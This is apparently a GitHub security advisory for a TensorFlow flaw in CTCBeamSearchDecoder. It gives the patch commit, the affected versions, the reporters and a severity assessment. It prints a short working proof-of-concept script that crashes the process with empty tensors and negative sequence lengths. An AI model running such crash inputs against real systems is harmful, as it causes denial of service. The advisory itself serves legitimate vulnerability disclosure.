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GHSA-vq2r-5xvm-3hc3
No affected components available
Impact
Due to lack of validation in tf.raw_ops.CTCBeamSearchDecoder, an attacker can trigger denial of service via segmentation faults:
import tensorflow as tf
inputs = tf.constant([], shape=[18, 8, 0], dtype=tf.float32)
sequence_length = tf.constant([11, -43, -92, 11, -89, -83, -35, -100],
shape=[8], dtype=tf.int32)
beam_width = 10
top_paths = 3
merge_repeated = True
tf.raw_ops.CTCBeamSearchDecoder(
inputs=inputs, sequence_length=sequence_length, beam_width=beam_width,
top_paths=top_paths, merge_repeated=merge_repeated)
The implementation fails to detect cases when the input tensor is empty and proceeds to read data from a null buffer.
Patches
We have patched the issue in GitHub commit b1b323042264740c398140da32e93fb9c2c9f33e.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.
The vulnerability requires local access to the device to be exploited. It is difficult for an attacker to exploit this vulnerability and may require special conditions. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a low impact on the availability of the system.
Limited exploitation activity has been observed. Close monitoring and planned remediation are recommended.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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